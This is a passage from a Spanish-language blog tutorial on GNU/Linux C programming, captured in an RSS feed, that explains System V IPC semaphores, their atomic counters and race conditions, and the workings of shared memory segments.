<p>Por recurso entendemos cualquier cosa que pueda ser susceptible de ser usada por un proceso y pueda causar un interbloqueo: una región de memoria, un fichero, un dispositivo físico, etc. Imaginemos que creamos un semáforo para regular el uso de una impresora que tiene capacidad para imprimir tres trabajos de impresión simultáneamente. El valor del contador del semáforo se inicializaría a tres. Cuando llega el primer proceso que desea imprimir un trabajo, el contador del semáforo se decrementa. El siguiente proceso que quiera imprimir todavía puede hacerlo, ya que el contador aún tiene un valor mayor que cero. Conforme vayan llegan procesos con trabajos de impresión, el contador irá disminuyendo, y cuando llegue a un valor inferior a uno, los procesos que soliciten el recurso tendrán que esperar. Un proceso a la espera de un recurso controlado por un semáforo siempre es privado del procesador, el planificador detecta esta situación y cambia el proceso en ejecución para aumentar el rendimiento. Conforme los trabajos de impresión vayan acabando, el contador del semáforo irá incrementándose y los procesos a la espera irán siendo atendidos.</p>
<p>Es muy importante la característica de atomicidad de las operaciones sobre un semáforo. Para evitar errores provocados por condiciones de carrera (“race conditions”), los semáforos protegen su contador, asegurando que todas las operaciones sobre esa variable entera (lectura, incremento, decremento) son atómicas, es decir, no serán interrumpidas a la mitad de su ejecución. Recordamos que estamos en un entorno multiprogramado en el que ningún proceso se asegura que vaya a ser ejecutado de principio a fin sin interrupción. Las actualizaciones y consultas de la variable contador de un semáforo IPC son la excepción a este hecho: una vez iniciadas, no son interrumpidas. Con esto se consigue evitar fallos a la hora de usar un recurso protegido por un semáforo: imaginemos que en un entorno en el que hay cuatro procesadores trabajando concurrentemente, cuatro procesos leen a la vez el valor del contador del semáforo anterior (impresora). Supongamos que tiene un valor inicial de tres. Los cuatro procesos leen un valor positivo y deciden usar el recurso. Decrementan el valor del contador, y cuando se disponen a usar el recurso, resulta que hay cuatro procesos intentando acceder a un recurso que sólo tiene capacidad para tres. La protección de la variable contador evita este hecho, por eso es tan importante.</p>
<p>La implementación práctica en C de semáforos IPC queda fuera del alcance de este curso O:-)</p>
<h4>Memoria compartida</h4>
<p>La memoria compartida es un mecanismo para compartir datos entre dos o más procesos. Dichos procesos comparten una parte de su espacio de direccionamiento en memoria, que puede coincidir en cuanto a dirección virtual o no. Es decir, imaginemos que tenemos dos libros compartiendo una página. El primer libro es “El Quijote de la Mancha”, y el segundo es un libro de texto de 6º de primaria. La página 50 del primer libro es compartida por el segundo, pero puede que no corresponda con el número de página 50, sino que esté en la página 124. Sin embargo la página es la misma, a pesar de que no esté en el mismo sitio dentro del direccionamiento de cada proceso. Los accesos a segmentos de memoria compartida son controlados, como ocurre con todos los objetos IPC System V, y se hace un chequeo de los permisos y credenciales para poder usar dicho segmento. Sin embargo, una vez que el segmento de memoria está siendo compartido, su acceso y uso debe ser regulado por los propios procesos que la comparten, utilizando semáforos u otros mecanismos de sincronización.</p>
<p>La primera vez que un proceso accede a una de las páginas de memoria virtual compartida, tiene lugar un fallo de página. El Sistema Operativo trata de solventar este fallo de página y se da cuenta de que se trata de una página correspondiente a un segmento de memoria compartida. Entonces, se busca la página correspondiente a esa página de memoria virtual compartida, y si no existe, se asigna una nueva página física.</p>
<p>La manera mediante la que un proceso deja de compartir una región o segmento de memoria compartida es bastante similar a lo que sucede con los enlaces entre ficheros: al borrarse un enlace no se procede al borrado del fichero enlazado a no ser que ya no existan más enlaces a dicho fichero. Cuando un proceso se desenlaza o desencadena de un segmento de memoria, se comprueba si hay más procesos utilizándolo. Si es así, el segmento de memoria continúa como hasta entonces, pero de lo contrario, se libera dicha memoria.</p>
<p>Es bastante recomendable bloquear en memoria física la memoria virtual compartida para que no sea reemplazada (“swapping”) por otras páginas y se almacene en disco. Si bien un proceso puede que no use esa página en mucho tiempo, su carácter compartido la hace susceptible de ser más usada y el reemplazo provocaría una caída del rendimiento.</p>
<p>La implementación práctica en C de la comunicación mediante memoria compartida queda fuera del alcance de este curso O:-)</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/txipi.wordpress.com/51/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/txipi.wordpress.com/51/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/txipi.wordpress.com/51/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/txipi.wordpress.com/51/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/txipi.wordpress.com/51/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/txipi.wordpress.com/51/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/txipi.wordpress.com/51/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/txipi.wordpress.com/51/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/txipi.wordpress.com/51/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/txipi.wordpress.com/51/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/txipi.wordpress.com/51/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/txipi.wordpress.com/51/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.txipinet.com&blog=2249633&post=51&subd=txipi&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://blog.txipinet.com/2006/11/05/48-curso-de-programacion-en-c-para-gnu-linux-vii/feed/</wfw:commentRss>
		<slash:comments>23</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b31cc813fcd79e9a170a88884fadb89d?s=96&#38;d=identicon&#38;r=X" medium="image">
			<media:title type="html">txipi</media:title>
		</media:content>

		<media:content url="http://txipi.files.wordpress.com/2007/12/cursoc06.gif" medium="image">
			<media:title type="html">cursoc06.gif</media:title>
		</media:content>

		<media:content url="http://txipi.files.wordpress.com/2007/12/cursoc07.gif" medium="image">
			<media:title type="html">cursoc07.gif</media:title>
		</media:content>

		<media:content url="http://txipi.files.wordpress.com/2007/12/cursoc08.gif" medium="image">
			<media:title type="html">cursoc08.gif</media:title>
		</media:content>
	</item>
	</channel>
</rss>